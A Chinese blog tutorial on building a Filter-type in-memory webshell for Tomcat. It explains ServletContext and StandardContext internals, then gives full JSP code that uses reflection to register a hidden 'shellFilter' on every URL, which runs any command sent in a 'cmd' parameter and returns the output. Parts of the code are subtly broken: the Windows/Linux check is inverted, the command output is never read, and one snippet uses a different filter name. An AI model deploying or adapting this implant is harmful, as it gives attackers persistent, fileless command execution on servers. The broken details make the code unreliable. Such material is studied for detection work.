Java内存马(一)Filter型
【推荐学习】暗月渗透测试培训 十多年渗透经验,体系化培训渗透测试 、高效学习渗透测试,欢迎添加微信好友aptimeok 咨询。
一、基础知识
💡 ServletContxt接口
他是Servlet上下文对象,一个web工程只有一个该对象实例,在工程启动时创建,结束时销毁;由于在该web工程中,所有的servlet可以通过该实例进行通讯,因此也被称为域对象
在Tomcat中,ServletContext的实现类为ApplicationContext,在ApplicationContext中又包含StandardContext实例,该实例可以用于获取Tomcat内部的一些信息,例如Servlet、Filter、Listener等信息
我们可以通过request.getServletContext() 来获取,demo如下,我们创建一个Filter:
package com.bajiu.filter;
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpSession;
import java.io.IOException;
/**
* @author 八九
* @version 1.0
*/
public class ManageFilter implements Filter {
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("ManagerFilter 初始化方法被调用");
}
public void doFilter(ServletRequest request, ServletResponse response, FilterChain filterChain) throws IOException, ServletException {
ServletContext servletContext = request.getServletContext();
}
public void destroy() {
//当filter被销毁时,调用该方法
System.out.println("ManageFilter 被销毁...");
}
}
并在web.xml 中配置:
<filter>
<filter-name>ManageFilter</filter-name>
<filter-class>com.bajiu.filter.ManageFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>ManageFilter</filter-name>
<url-pattern>/manage/*</url-pattern>
</filter-mapping>
我们对demo进行断点调试:
可以看到,request.getServletContext() 获取到的实例类为:ApplicationContextFacade
封装关系为:ApplicationContextFacade → ApplicationContext → StandardContext(包含着Tomcat内部重要信息)
我们接着对StandardContext对象实例进行查看,里面存在非常重要的两个HashMap:filterConfigs、filterDefs,StandardContext:filterMaps (存在三个Filter,Tomcat WebSocket(JSR356) Filter 是Tomcat自带生成)
-
filterConfigs 对应 key-value :filterName-ApplicationFilterConfig[name,filterClass]
-
filterDefs对应key-value:filterName-filterDef[filterName,filterClass]
-
filterMaps是StandardContext数组,用于存放 filterName和作用效果的url
在正常业务中,我们创建Filter,Tomcat底层读取web.xml 文件,对Filter进行注册操作:
-
创建Filter
-
用filterDef 对 filterConfig 进行封装
-
将filterDef添加到filterDefs跟filterConfigs中
-
创建filterMap,将URL和filter进行绑定,并put进filterMaps中
二、内存马编写
1、获取StandardContext
由于ApplicationContextFacade 和 ApplicationContext封装的 Context 属性都为 private,因此我们无法直接从中获取,需要用到反射机制
代码如下:
//获取第一层封装 -> ApplicationContext
Field applicationContextField = ApplicationContextFacade.class.getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext)applicationContextField.get(servletContext);
//获取第二层封装 -> StandardContext
Field standardContextField = ApplicationContext.class.getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext)standardContextField.get(applicationContext);
二、设置FilterDefs
org.apache.tomcat.util.descriptor.web.FilterDef 中,存在setFilter 方法修改filter → 接着调用StandardContext#addFilterDef() 添加FilterDefs
代码如下:
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName("shellFilter");
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);
三、filterConfig封装flterDefs,并添加到filterConfigs中
我们进入 org.apache.catalina.core.StandardContext 发现 filterConfigs 的 泛型为:<String,ApplicationFilterConfig>
而ApplicationFilterConfig 中存在定义属性:private final transient Context context
想通过ApplicationFilterConfig的构造器对其初始化,很遗憾的是,该构造器修饰符为default,因此又得用到反射获取构造器 → 初始化 StandardContext
代码如下:
Constructor<ApplicationFilterConfig> constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = constructor.newInstance(standardContext,filterDef);
获得filterConfig,我们再从StandardContext里获取filterConfigs,将前者添加进后者
Field filterConfigsField = StandardContext.class.getDeclaredField("filterConfigs");
filterConfigsField.setAccessible(true);
Map filterConfigs = (Map) filterConfigsField.get(standardContext);
filterConfigs.put("shellFilter",filterConfig);
四、生成filterMap添加到filterMaps
filterMaps需要设置名称,pattern,dispatcher
这里的dispatcher需要设置为DispatcherType.REQUEST,该选项指定了filter过滤器根据DispatcherType的类型是否执行。这也是为什么需要tomcat7以上的原因
FilterMaps可以用两种方式添加map:addFilterMap 或者addFilterMapBefore(),后者可以将filter添加至最前面
代码如下:
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName("evilFilter");
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
全部代码如下:
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="static java.lang.System.in" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.util.Map" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %><%--
Created by IntelliJ IDEA.
User: 八九
Date: 2023-04-07
Time: 23:00
To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
/**
* 通过两层反射,获取StandardContext
*/
ServletContext servletContext = request.getServletContext();
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext)applicationContextField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext)standardContextField.get(applicationContext);
Filter filter = new Filter() {
public void init(FilterConfig filterConfig) throws ServletException {
}
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
//获取cmd参数
if (request.getParameter("cmd") != null){
//判断操作系统为Win还是Linux
boolean isWin = true;
String osType = System.getProperty("os.name");
if (osType != null && osType.toLowerCase().contains("linux")){
isWin = false;
}
//命令执行 -> 根据不同系统设置不同执行命令方式
String cmds[] = isWin ? new String[]{"sh","-c",request.getParameter("cmd")}:new String[]{"cmd.exe","/c",request.getParameter("cmd")};
InputStream inputStream = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("A");
String output = s.hasNext() ? s.next() : "";
PrintWriter writer = response.getWriter();
writer.print(output);
writer.flush();
writer.close();
}
chain.doFilter(request, response);
}
public void destroy() {
}
};
/**
* 设置filterDef ,并添加进 standardContext
*/
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName("shellFilter");
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);
/**
* filterConfig 封装 filterDef,并将filterConfig 添加到filterConfigs
* 由于ApplicationFilterConfig 构造器为private,因此用到反射获取
* 接着从standardContext中获取filterConfigs属性 -> 依旧用到反射
*/
Constructor<ApplicationFilterConfig> constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig applicationFilterConfig = constructor.newInstance(standardContext, filterDef);
Field filterConfigsField = standardContext.getClass().getDeclaredField("filterConfigs");
filterConfigsField.setAccessible(true);
Map filterConfigs = (Map)filterConfigsField.get(standardContext);
filterConfigs.put("shellFilter",applicationFilterConfig);
//生成filterMap,添加到filterMaps中
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName("shellFilter");
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
%>
最终效果,访问 http://localhost:8080/shell.jsp 将内存马写入内存中,任意url地址cmd进行命令执行操作:
即使uri不存在
三、Debug调试
最后,我们下断点,查看我们的内存马有没有成功写入
重启web工程,访问index.jsp,发现在这里还未写入我们的内存马:shellFilter
接着,我访问shell.jsp 页面,在最后下断点输出调试信息
原创文章,作者:mOon,如若转载,请注明出处:https://www.moonsec.com/8289.html